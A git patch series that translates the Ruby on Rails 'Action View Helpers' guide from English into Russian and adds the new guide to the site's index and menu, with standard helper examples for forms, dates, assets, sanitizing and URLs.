+Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size. + +#### number_to_currency + +Formats a number into a currency string (e.g., $13.65). + +```ruby +number_to_currency(1234567890.50) # => $1,234,567,890.50 +``` + +#### number_to_human_size + +Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users. + +```ruby +number_to_human_size(1234) # => 1.2 KB +number_to_human_size(1234567) # => 1.2 MB +``` + +#### number_to_percentage + +Formats a number as a percentage string. + +```ruby +number_to_percentage(100, precision: 0) # => 100% +``` + +#### number_to_phone + +Formats a number into a phone number (US by default). + +```ruby +number_to_phone(1235551234) # => 123-555-1234 +``` + +#### number_with_delimiter + +Formats a number with grouped thousands using a delimiter. + +```ruby +number_with_delimiter(12345678) # => 12,345,678 +``` + +#### number_with_precision + +Formats a number with the specified level of `precision`, which defaults to 3. + +```ruby +number_with_precision(111.2345) # => 111.235 +number_with_precision(111.2345, precision: 2) # => 111.23 +``` + +### SanitizeHelper + +The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements. + +#### sanitize + +This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed. + +```ruby +sanitize @article.body +``` + +If either the `:attributes` or `:tags` options are passed, only the mentioned attributes and tags are allowed and nothing else. + +```ruby +sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) +``` + +To change defaults for multiple uses, for example adding table tags to the default: + +```ruby +class Application < Rails::Application + config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td' +end +``` + +#### sanitize_css(style) + +Sanitizes a block of CSS code. + +#### strip_links(html) +Strips all link tags from text leaving just the link text. + +```ruby +strip_links('Ruby on Rails') +# => Ruby on Rails +``` + +```ruby +strip_links('emails to me@email.com.') +# => emails to me@email.com. +``` + +```ruby +strip_links('Blog: Visit.') +# => Blog: Visit. +``` + +#### strip_tags(html) + +Strips all HTML tags from the html, including comments. +This functionality is powered by the rails-html-sanitizer gem. + +```ruby +strip_tags("Strip these tags!") +# => Strip these tags! +``` + +```ruby +strip_tags("Bold no more! See more") +# => Bold no more! See more +``` + +NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers. + +### UrlHelper + +Provides methods to make links and get URLs that depend on the routing subsystem. + +#### url_for + +Returns the URL for the set of `options` provided. + +##### Examples + +```ruby +url_for @profile +# => /profiles/1 + +url_for [ @hotel, @booking, page: 2, line: 3 ] +# => /hotels/1/bookings/1?line=3&page=2 +``` + +#### link_to + +Links to a URL derived from `url_for` under the hood. Primarily used to +create RESTful resource links, which for this example, boils down to +when passing models to `link_to`. + +**Examples** + +```ruby +link_to "Profile", @profile +# => Profile +``` + +You can use a block as well if your link target can't fit in the name parameter. ERB example: + +```html+erb +<%= link_to @profile do %> + <%= @profile.name %> -- Check it out! +<% end %> +``` + +would output: + +```html + + David -- Check it out! + +``` + +See [the API Documentation for more information](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) + +#### button_to + +Generates a form that submits to the passed URL. The form has a submit button +with the value of the `name`. + +##### Examples + +```html+erb +<%= button_to "Sign in", sign_in_path %> +``` + +would roughly output something like: + +```html +
    + +
    +``` + +See [the API Documentation for more information](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) + +### CsrfHelper + +Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site +request forgery protection parameter and token, respectively. + +```html +<%= csrf_meta_tags %> +``` + +NOTE: Regular forms generate hidden fields so they do not use these tags. More +details can be found in the [Rails Security Guide](security.html#cross-site-request-forgery-csrf). diff --git a/source/index.md b/source/index.md index 1b7227b8..833f41f2 100644 --- a/source/index.md +++ b/source/index.md @@ -36,8 +36,9 @@ Ruby on Rails — это веб-фреймворк с открытым кодо ## Вьюхи -- [Обзор Action View](/action-view-overview) := Это руководство представляет введение в Action View и знакомит с некоторыми из многих хелперов вьюх. +- [Обзор Action View](/action-view-overview) := Это руководство представляет введение в Action View. - [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails) := Это руководство раскрывает основы возможностей макетов Action Controller и Action View, включая рендеринг и перенаправление, использование содержимого для блоков и работу с частичными шаблонами. +- [Хелперы Action View](/action-view-helpers) := Это руководство знакомит с некоторыми из многих хелперов вьюх. - [Хелперы форм в Action View](/rails-form-helpers) := Руководство по использованию встроенных хелперов форм. ## Контроллеры diff --git a/source/index.yml b/source/index.yml index af908869..67ad0042 100644 --- a/source/index.yml +++ b/source/index.yml @@ -78,6 +78,12 @@ pages: revision: 9fe5aa32a7c962e084117af94351061009cd350b date: 14/07/2019 + - title: Хелперы Action View + path: action-view-helpers + file: action_view_helpers.md + revision: e6950a332afd0553a0f11cf5fcb87ad84ec73a2b + date: 08/07/2020 + - title: Хелперы форм в Action View path: rails-form-helpers file: form_helpers.md @@ -357,7 +363,6 @@ pages: plan: - file: 6_1_release_notes.md - file: action_text_overview.md - - file: action_view_helpers.md old: - file: 2_2_release_notes.md diff --git a/source/menu.md b/source/menu.md index a8a3e4ea..e0137603 100644 --- a/source/menu.md +++ b/source/menu.md @@ -16,6 +16,7 @@ * [Обзор Action View](/action-view-overview) * [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails) + * [Хелперы Action View](/action-view-helpers) * [Хелперы форм в Action View](/rails-form-helpers) * **Контроллеры** From c8f973b6e5bd048f9bc5ff6ecf5a0dc67caea36c Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sun, 27 Sep 2020 14:43:08 +0300 Subject: [PATCH 504/932] View helpers translation --- source/action_view_helpers.md | 356 +++++++++++++++++----------------- 1 file changed, 174 insertions(+), 182 deletions(-) diff --git a/source/action_view_helpers.md b/source/action_view_helpers.md index 57b0b249..1a976aa5 100644 --- a/source/action_view_helpers.md +++ b/source/action_view_helpers.md @@ -1,60 +1,56 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** +Хелперы Action View +=================== -Action View Helpers -==================== +После прочтения этого руководства вы узнаете: -After reading this guide, you will know: - -* What helpers are provided by Action View. +* Какие хелперы предоставлены Action View. -------------------------------------------------------------------------------- -Overview of helpers provided by Action View +Обзор хелперов, предоставленных Action View ------------------------------------------- -WIP: Not all the helpers are listed here. For a full list see the [API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) +WIP: Тут перечислены не все хелперы. За полным списком можно обратиться к [документации API](https://api.rubyonrails.org/classes/ActionView/Helpers.html) -The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the [API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html), which covers all of the helpers in more detail, but this should serve as a good starting point. +Нижеследующее является лишь кратким обзором хелперов, доступных в Action View. Рекомендуется обратиться к [документации API](https://api.rubyonrails.org/classes/ActionView/Helpers.html), покрывающей все хелперы более подробно, но это должно послужить хорошей отправной точкой. ### AssetTagHelper -This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. +Этот модуль предоставляет методы для генерации HTML, связывающего вьюхи с файлами, такими как картинки, файлы JavaScript, таблицы стилей и новостные ленты. -By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`: +По умолчанию Rails ссылается на эти файлы на текущем хосте в папке public, но можно направить Rails ссылаться на файлы на выделенном сервере файлов, установив `config.action_controller.asset_host` в конфигурации приложения, обычно в `config/environments/production.rb`. Например, допустим хост ваших файлов `assets.example.com`: ```ruby config.action_controller.asset_host = "assets.example.com" -image_tag("rails.png") -# => +image_tag("rails.png") # => ``` #### auto_discovery_link_tag -Returns a link tag that browsers and feed readers can use to auto-detect an RSS, Atom, or JSON feed. +Возвращает тег ссылки, которую могут использовать браузеры и агрегаторы новостей для автоматического определения RSS, Atom или ленты JSON. ```ruby -auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) -# => +auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) # => + ``` #### image_path -Computes the path to an image asset in the `app/assets/images` directory. Full paths from the document root will be passed through. Used internally by `image_tag` to build the image path. +Вычисляет путь до ресурса картинки в директории `app/assets/images`. Будут переданы полные пути от корня документа. Используется внутри `image_tag` для создания пути к картинке. ```ruby image_path("edit.png") # => /assets/edit.png ``` -Fingerprint will be added to the filename if config.assets.digest is set to true. +К имени файла будет добавлена метка, если config.assets.digest установлен в true. ```ruby -image_path("edit.png") -# => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png +image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png ``` #### image_url -Computes the URL to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host. +Вычисляет URL ресурса картинки в директории `app/assets/images`. Он вызовет `image_path` и соединит с вашим текущим хостом или вашим хостом ресурсов. ```ruby image_url("http://github.com/edit.png") # => http://www.example.com/assets/edit.png @@ -62,7 +58,7 @@ image_url("http://github.com/edit.png") # => http://www.example.com/assets/edit.png #### image_tag -Returns an HTML image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory. +Возвращает тег картинки HTML для источника. Источником может быть полный путь или файл, существующий в директории `app/assets/images`. ```ruby image_tag("icon.png") # => @@ -70,16 +66,16 @@ image_tag("icon.png") # => #### javascript_include_tag -Returns an HTML script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root. +Возвращает HTML-тег script для каждого предоставленного источника. Можно передать имя файла (расширение `.js` опционально) или файлы JavaScript, существующие в директории `app/assets/javascripts` для включения в текущую страницу, или передать полный путь относительно корня документа. ```ruby -javascript_include_tag "common" +javascript_include_tag "common" # => ``` #### javascript_path -Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path. +Вычисляет путь до ресурса JavaScript в директории `app/assets/javascripts`. Если у имени файла источника нет расширения, будет добавлено `.js`. Будут переданы полные пути от корня документа. Используется внутри `javascript_include_tag` для создания пути к скрипту. ```ruby javascript_path "common" # => /assets/common.js @@ -87,25 +83,25 @@ javascript_path "common" # => /assets/common.js #### javascript_url -Computes the URL to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host. +Вычисляет URL ресурса JavaScript в директории `app/assets/javascripts`. Он вызовет `javascript_path` и соединит с вашим текущим хостом или вашим хостом ресурсов. ```ruby -javascript_url "common" +javascript_url "common" # => http://www.example.com/assets/common.js ``` #### stylesheet_link_tag -Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically. +Возвращает тег ссылки на таблицу стилей для источников, указанных в качестве аргументов. Если не указать расширение, автоматически будет добавлено `.css`. ```ruby -stylesheet_link_tag "application" +stylesheet_link_tag "application" # => ``` #### stylesheet_path -Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, `.css` will be appended. Full paths from the document root will be passed through. Used internally by `stylesheet_link_tag` to build the stylesheet path. +Вычисляет путь до ресурса таблицы стилей в директории `app/assets/stylesheets`. Если у имени файла источника нет расширения, будет добавлено `.css`. Будут переданы полные пути от корня документа. Используется внутри `stylesheet_link_tag` для создания пути к таблице стилей. ```ruby stylesheet_path "application" # => /assets/application.css @@ -113,10 +109,10 @@ stylesheet_path "application" # => /assets/application.css #### stylesheet_url -Computes the URL to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host. +Вычисляет URL ресурса таблицы стилей в директории `app/assets/stylesheets`. Он вызовет `stylesheet_path` и соединит с вашим текущим хостом или вашим хостом ресурсов. ```ruby -stylesheet_url "application" +stylesheet_url "application" # => http://www.example.com/assets/application.css ``` @@ -124,7 +120,7 @@ stylesheet_url "application" #### atom_feed -This helper makes building an Atom feed easy. Here's a full usage example: +Этот хелпер позволяет с легкостью создать новостную ленту Atom. Вот пример полного использования: **config/routes.rb** @@ -169,7 +165,7 @@ end #### benchmark -Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation. +Позволяет измерить время выполнения блока в шаблоне и записать результат в лог. Оберните этот блок вокруг затратных операций или потенциальных узких мест, чтобы получить время чтения для операций. ```html+erb <% benchmark "Process data files" do %> @@ -177,13 +173,13 @@ Allows you to measure the execution time of a block in a template and records th <% end %> ``` -This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code. +Это добавит в лог что-то вроде "Process data files (0.34523)", затем это можно использовать для сравнения времени при оптимизации кода. ### CacheHelper #### cache -A method for caching fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `AbstractController::Caching::Fragments` for more information. +Метод для кэширования фрагмента вьюхи, а не всего экшна или страницы. Эта техника полезна для кэширования таких кусочков, как меню, списки заголовков новостей, статичные фрагменты HTML и так далее. Этот метод принимает блок, содержащий код, который вы хотите закэшировать. Подробности смотрите в `AbstractController::Caching::Fragments`. ```erb <% cache do %> @@ -195,7 +191,7 @@ A method for caching fragments of a view rather than an entire action or page. T #### capture -The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout. +Метод `capture` позволяет извлечь часть шаблона в переменную. Эту переменную потом можно использовать в любом месте шаблона или макета. ```html+erb <% @greeting = capture do %> @@ -203,7 +199,7 @@ The `capture` method allows you to extract part of a template into a variable. Y <% end %> ``` -The captured variable can then be used anywhere else. +Захваченная переменная может быть потом где-то использована. ```html+erb @@ -218,9 +214,9 @@ The captured variable can then be used anywhere else. #### content_for -Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`. +Вызов `content_for` хранит блок разметки как идентификатор для дальнейшего использования. Можно совершать последующие вызовы сохраненного содержимого в других шаблонах или макете, передав идентификатор в качестве аргумента в `yield`. -For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site. +Например, допустим у нас есть стандартный макет приложения, но также есть специальная страница, требующая определенный JavaScript, который не требуется в остальных частях сайта. Можно использовать `content_for`, чтобы включить этот JavaScript на нашу специальную страницу без влияния на оставшуюся часть сайта. **app/views/layouts/application.html.erb** @@ -250,7 +246,7 @@ For example, let's say we have a standard application layout, but also a special #### date_select -Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute. +Возвращает набор тегов select (по одному для года, месяца и дня), предзаполненных для доступа к определенному атрибуту даты. ```ruby date_select("article", "published_on") @@ -258,7 +254,7 @@ date_select("article", "published_on") #### datetime_select -Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute. +Возвращает набор тегов select (по одному для года, месяца, дня, часа и минуты), предзаполненных для доступа к определенному атрибуту даты-времени. ```ruby datetime_select("article", "published_on") @@ -266,128 +262,128 @@ datetime_select("article", "published_on") #### distance_of_time_in_words -Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations. +Возвращает приблизительный промежуток времени между двумя объектами Time или Date, или целыми числами в секундах. Установите `include_seconds` в true, если хотите более детальное приближение. ```ruby -distance_of_time_in_words(Time.now, Time.now + 15.seconds) +distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute -distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true) +distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true) # => less than 20 seconds ``` #### select_date -Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the `date` provided. +Возвращает набор HTML-тегов select (по одному для года, месяца и дня), предзаполненных предоставленной `date`. ```ruby -# Generates a date select that defaults to the date provided (six days after today) +# Создает select для date, который по умолчанию соответствует предоставленной дате (шесть дней, начиная с сегодняшнего) select_date(Time.today + 6.days) -# Generates a date select that defaults to today (no specified date) +# Создает select для date, который по умолчанию соответствует сегодняшней дате (без аргумента) select_date() ``` #### select_datetime -Returns a set of HTML select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided. +Возвращает набор HTML-тегов select (по одному для года, месяца, дня, часа и минуты), предзаполненных предоставленным `datetime`. ```ruby -# Generates a datetime select that defaults to the datetime provided (four days after today) +# Создает select для datetime, который по умолчанию соответствует предоставленной дате (четыре дня, начиная с сегодняшнего) select_datetime(Time.now + 4.days) -# Generates a datetime select that defaults to today (no specified datetime) +# Создает select для datetime, который по умолчанию соответствует сегодняшней дате (без аргумента) select_datetime() ``` #### select_day -Returns a select tag with options for each of the days 1 through 31 with the current day selected. +Возвращает тег select с опциями для каждого дня с 1 по 31 и выбранным текущим днем. ```ruby -# Generates a select field for days that defaults to the day for the date provided +# Создает поле select для дней с предоставленной датой как значение по умолчанию select_day(Time.today + 2.days) -# Generates a select field for days that defaults to the number given +# Создает поле select для дней с данным числом как значение по умолчанию select_day(5) ``` #### select_hour -Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. +Возвращает тег select с опциями для каждого часа с 0 по 23 и выбранным текущим часом. ```ruby -# Generates a select field for hours that defaults to the hours for the time provided +# Создает поле select для часов с предоставленным временем как значение по умолчанию select_hour(Time.now + 6.hours) ``` #### select_minute -Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected. +Возвращает тег select с опциями для каждой минуты с 0 по 59 и выбранной текущей минутой. ```ruby -# Generates a select field for minutes that defaults to the minutes for the time provided. +# Создает поле select для минут с предоставленным временем как значение по умолчанию select_minute(Time.now + 10.minutes) ``` #### select_month -Returns a select tag with options for each of the months January through December with the current month selected. +Возвращает тег select с опциями для каждого месяца с January по December и выбранным текущим месяцем. ```ruby -# Generates a select field for months that defaults to the current month +# Создает поле select для месяцев с текущим месяцем как значение по умолчанию select_month(Date.today) ``` #### select_second -Returns a select tag with options for each of the seconds 0 through 59 with the current second selected. +Возвращает тег select с опциями для каждой секунды с 0 по 59 и выбранной текущей секундой. ```ruby -# Generates a select field for seconds that defaults to the seconds for the time provided +# Создает поле select для секунд с предоставленным временем как значение по умолчанию select_second(Time.now + 16.seconds) ``` #### select_time -Returns a set of HTML select-tags (one for hour and minute). +Возвращает набор тегов HTML select (по одному для часа и минуты). ```ruby -# Generates a time select that defaults to the time provided +# Создает поля select с предоставленным временем как значение по умолчанию select_time(Time.now) ``` #### select_year -Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`. +Возвращает тег select с опциями для каждого года из пяти от и до выбранного текущего. Пятилетний радиус может быть изменен с помощью опциональных ключей `:start_year` и `:end_year` в `options`. ```ruby -# Generates a select field for five years on either side of Date.today that defaults to the current year +# Создает поле select для пяти лет в обе стороны от Date.today, являющаяся значением по умолчанию для текущего года select_year(Date.today) -# Generates a select field from 1900 to 2009 that defaults to the current year +# Создает поле select от 1900 до 2009 с текущим годом как значение по умолчанию select_year(Date.today, start_year: 1900, end_year: 2009) ``` #### time_ago_in_words -Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`. +Подобен `distance_of_time_in_words`, где `to_time` устанавливается `Time.now`. ```ruby -time_ago_in_words(3.minutes.from_now) # => 3 minutes +time_ago_in_words(3.minutes.from_now) # => 3 minutes ``` #### time_select -Returns a set of select tags (one for hour, minute, and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object. +Возвращает набор тегов select (по одному для часа, минуты и, опционально, секунды), предзаполненных для доступа к определенному атрибуту времени. Этот набор подготовлен для назначения нескольких параметров в объекте Active Record. ```ruby -# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute +# Создает тег select для времени, который при POST будет сохранен в переменную order атрибута submitted time_select("order", "submitted") ``` ### DebugHelper -Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object. +Возвращает тег `pre` с объектом, выгруженным в YAML. Это создает удобочитаемый способ проверки объекта. ```ruby my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] } @@ -407,14 +403,14 @@ third: ### FormHelper -Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. +Хелперы форм предназначены для упрощения работы с моделями по сравнению с использованием только стандартных элементов HTML, предоставляя набор методов для создания форм на основе ваших моделей. Этот хелпер создает HTML для форм, предоставляя метод для каждого типа полей ввода (например text, password, select и так далее). Когда форма подтверждается (т.е. когда пользователь нажимает кнопку подтверждения или form.submit вызывается с помощью JavaScript), поля ввода формы будут объединены в объект params и переданы в контроллер. -There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the `ActionView::Helpers::FormTagHelper` documentation. +Существует два типа хелперов форм: те, которые работают с атрибутами модели, и те, которые нет. Этот хелпер относится к тем, которые работают с атрибутами модели; чтобы посмотреть примеры хелперов форм, которые не работают с атрибутами модели, обратитесь к документации `ActionView::Helpers::FormTagHelper`. -The core method of this helper, `form_with`, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: +Основной метод этого хелпера, `form_with`, дает возможность создавать форму для экземпляра модели; например, допустим, что имеется модель Person, и мы хотим создать ее новый экземпляр: ```html+erb - + <%= form_with model: @person do |form| %> <%= form.text_field :first_name %> <%= form.text_field :last_name %> @@ -422,7 +418,7 @@ The core method of this helper, `form_with`, gives you the ability to create a f <% end %> ``` -The HTML generated for this would be: +Созданным HTML будет: ```html
    @@ -434,20 +430,20 @@ The HTML generated for this would be:
    ``` -The params object created when this form is submitted would look like: +Объект params, созданный при отправке этой формы, будет выглядеть так: ```ruby {"utf8" => "✓", "authenticity_token" => "lTuvBzs7ANygT0NFinXj98tfw3Emfm65wwYLbUvoWsK2pngccIQSUorM2C035M9dZswXgWTvKwFS8W5TVblpYw==", "person" => {"first_name" => "William", "last_name" => "Smith"}, "commit" => "Create", "controller" => "people", "action" => "create"} ``` -The params hash has a nested person value, which can therefore be accessed with `params[:person]` in the controller. +В хэше params будет вложенное значение person, к которому можно получить доступ в контроллере с помощью `params[:person]`. #### check_box -Returns a checkbox tag tailored for accessing a specified attribute. +Возвращает тег чекбокса с учетом доступа к определенному атрибуту. ```ruby -# Let's say that @article.validated? is 1: +# Допустим, что @article.validated? равен 1: check_box("article", "validated") # => # @@ -455,7 +451,7 @@ check_box("article", "validated") #### fields_for -Creates a scope around a specific model object. This makes `fields_for` suitable for specifying additional model objects in the same form: +Создает пространство имен вокруг определенного объекта модели. Это делает `fields_for` подходящим для указания дополнительных объектов модели в той же форме: ```html+erb <%= form_with model: @person do |person_form| %> @@ -470,7 +466,7 @@ Creates a scope around a specific model object. This makes `fields_for` suitable #### file_field -Returns a file upload input tag tailored for accessing a specified attribute. +Возвращает поле для загрузки файла с учетом доступа к определенному атрибуту. ```ruby file_field(:user, :avatar) @@ -479,7 +475,9 @@ file_field(:user, :avatar) #### form_with -Creates a form builder to work with. If a `model` argument is specified, form fields will be scoped to that model, and form field values will be prepopulated with corresponding model attributes. +Создает форму и пространство имен вокруг определенного объекта модели, используемого как основа для опроса значений полей. + +Создает построитель формы, с которым будет работать блок. Если указан аргумент `model`, поля формы будут ограничены этой моделью, и значения полей формы будут предзаполнены соответствующими атрибутами модели. ```html+erb <%= form_with model: @article do |form| %> @@ -492,7 +490,7 @@ Creates a form builder to work with. If a `model` argument is specified, form fi #### hidden_field -Returns a hidden input tag tailored for accessing a specified attribute. +Возвращает тег скрытого поля с учетом доступа к определенному атрибуту. ```ruby hidden_field(:user, :token) @@ -501,7 +499,7 @@ hidden_field(:user, :token) #### label -Returns a label tag tailored for labelling an input field for a specified attribute. +Возвращает тег label с учетом поля ввода для определенного атрибута. ```ruby label(:article, :title) @@ -510,7 +508,7 @@ label(:article, :title) #### password_field -Returns an input tag of the "password" type tailored for accessing a specified attribute. +Возвращает тег input типа "password" с учетом доступа к определенному атрибуту. ```ruby password_field(:login, :pass) @@ -519,10 +517,10 @@ password_field(:login, :pass) #### radio_button -Returns a radio button tag for accessing a specified attribute. +Возвращает тег радио кнопки с учетом доступа к определенному атрибуту. ```ruby -# Let's say that @article.category returns "rails": +# Допустим, что @article.category возвращает "rails": radio_button("article", "category", "rails") radio_button("article", "category", "java") # => @@ -531,7 +529,7 @@ radio_button("article", "category", "java") #### text_area -Returns a textarea opening and closing tag set tailored for accessing a specified attribute. +Возвращает набор открывающего и закрывающего тега textarea с учетом доступа к определенному атрибуту. ```ruby text_area(:comment, :text, size: "20x30") @@ -542,7 +540,7 @@ text_area(:comment, :text, size: "20x30") #### text_field -Returns an input tag of the "text" type tailored for accessing a specified attribute. +Возвращает тег input типа "text" с учетом доступа к определенному атрибуту. ```ruby text_field(:article, :title) @@ -551,7 +549,7 @@ text_field(:article, :title) #### email_field -Returns an input tag of the "email" type tailored for accessing a specified attribute. +Возвращает тег input типа "email" с учетом доступа к определенному атрибуту. ```ruby email_field(:user, :email) @@ -560,7 +558,7 @@ email_field(:user, :email) #### url_field -Returns an input tag of the "url" type tailored for accessing a specified attribute. +Возвращает тег input типа "url" с учетом доступа к определенному атрибуту. ```ruby url_field(:user, :url) @@ -569,13 +567,13 @@ url_field(:user, :url) ### FormOptionsHelper -Provides a number of methods for turning different kinds of containers into a set of option tags. +Предоставляет ряд методов для превращения различного рода контейнеров в набор тегов option. #### collection_select -Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class. +Возвращает теги `select` и `option` для коллекции значений, возвращаемых `method` для класса `object`. -Example object structure for use with this method: +Пример структуры объекта для использования с этим методом: ```ruby class Article < ApplicationRecord @@ -590,13 +588,13 @@ class Author < ApplicationRecord end ``` -Sample usage (selecting the associated Author for an instance of Article, `@article`): +Пример использования (выбор связанного Author для экземпляра Article, `@article`): ```ruby collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true }) ``` -If `@article.author_id` is 1, this would return: +Если `@article.author_id` — 1, это вернет: ```html @@ -643,13 +641,13 @@ If `@article.author_id` is 1, this would return: ``` -Recovering some option passed (e.g. programmatically checking an object from collection): +Раскрыть, что некоторый вариант выбран (т.е. программно отметить объект из коллекции): ```ruby collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial, {checked: Author.last}) ``` -In this case, the last object from the collection will be checked: +В этом случае, последний объект из коллекции будет отмечен: ```html @@ -660,9 +658,9 @@ In this case, the last object from the collection will be checked: ``` -To access the passed options programmatically (e.g. adding a custom class if checked): +Чтобы программно получить доступ к переданным опциям (например, добавить пользовательский класс, если отмечен): -**Sample html.erb** +**Образец html.erb** ```html+erb <%= collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial, {checked: Author.last, required: true} do |rb| %> @@ -670,12 +668,11 @@ To access the passed options programmatically (e.g. adding a custom class if che <% end %> ``` - #### collection_check_boxes -Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class. +Возвращает теги `check_box` для коллекции значений, возвращаемых `method` для класса `object`. -Example object structure for use with this method: +Пример структуры объекта для использования с этим методом: ```ruby class Article < ApplicationRecord @@ -690,13 +687,13 @@ class Author < ApplicationRecord end ``` -Sample usage (selecting the associated Authors for an instance of Article, `@article`): +Пример использования (выбор связанного Author для экземпляра Article, `@article`): ```ruby collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial) ``` -If `@article.author_ids` is [1], this would return: +Если `@article.author_id` — [1], это вернет: ```html @@ -710,9 +707,9 @@ If `@article.author_ids` is [1], this would return: #### option_groups_from_collection_for_select -Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments. +Возвращает строку с тегами `option`, подобно `options_from_collection_for_select`, но группирует их тегами `optgroup` на основе объектных отношений аргументов. -Example object structure for use with this method: +Пример структуры объекта для использования с этим методом: ```ruby class Continent < ApplicationRecord @@ -726,13 +723,13 @@ class Country < ApplicationRecord end ``` -Sample usage: +Пример использования: ```ruby option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3) ``` -Possible output: +Возможный результат: ```html @@ -748,47 +745,47 @@ Possible output: ``` -NOTE: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag. +NOTE: Возвращаются только теги `optgroup` и `option`, вам все еще нужно обернуть результат в подходящий тег `select`. #### options_for_select -Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. +Принимает контейнер (хэш, массив, перечисление, ваш тип) и возвращает строку тегов option. ```ruby options_for_select([ "VISA", "MasterCard" ]) # => ``` -NOTE: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag. +NOTE: Возвращаются только теги `option`, вам все еще нужно обернуть результат в обычный HTML-тег `select`. #### options_from_collection_for_select -Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text. +Возвращает строку тегов option, собранную с помощью итерации по `collection` и назначая результат вызова `value_method` как значение option и `text_method` как текст option. ```ruby options_from_collection_for_select(collection, value_method, text_method, selected = nil) ``` -For example, imagine a loop iterating over each person in `@project.people` to generate an input tag: +Например, представьте цикл, проходящий по каждому человеку в `@project.people` для создания тега ввода: ```ruby options_from_collection_for_select(@project.people, "id", "name") # => ``` -NOTE: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag. +NOTE: Возвращаются только теги `option`, вам все еще нужно обернуть результат в обычный HTML-тег `select`. #### select -Create a select tag and a series of contained option tags for the provided object and method. +Создает тег select и ряд связанных тегов 